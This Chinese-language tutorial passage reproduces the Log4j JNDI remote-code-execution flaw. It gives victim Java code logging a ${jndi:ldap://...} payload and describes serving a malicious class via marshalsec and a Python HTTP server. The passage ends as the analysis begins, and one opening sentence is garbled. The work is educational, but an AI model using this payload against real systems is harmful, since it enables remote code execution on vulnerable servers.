log4j是一种在Java中非常流行的日志框架,最新版本为2.下。非常多的开源项目使用该框架记录日志。

漏洞复现

利用条件: 2.0<=log4j<=2.14.1

受害者准备

package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        // 触发漏洞(需用户输入控制日志内容)
        logger.error("${jndi:ldap://127.0.0.1:1099/evil}");
    }
}

还是用marshalsec起一个LDAPRefServer。

将之前的evil类编译,在编译好的目录起一个pythonhttpserver。

运行受害者代码,成功弹出计算器。

分析原因

Log4j 2.x 的 ​lookup 功能允许在日志内容中嵌入 ${prefix:name} 格式的动态表达式,例如读取系统信息: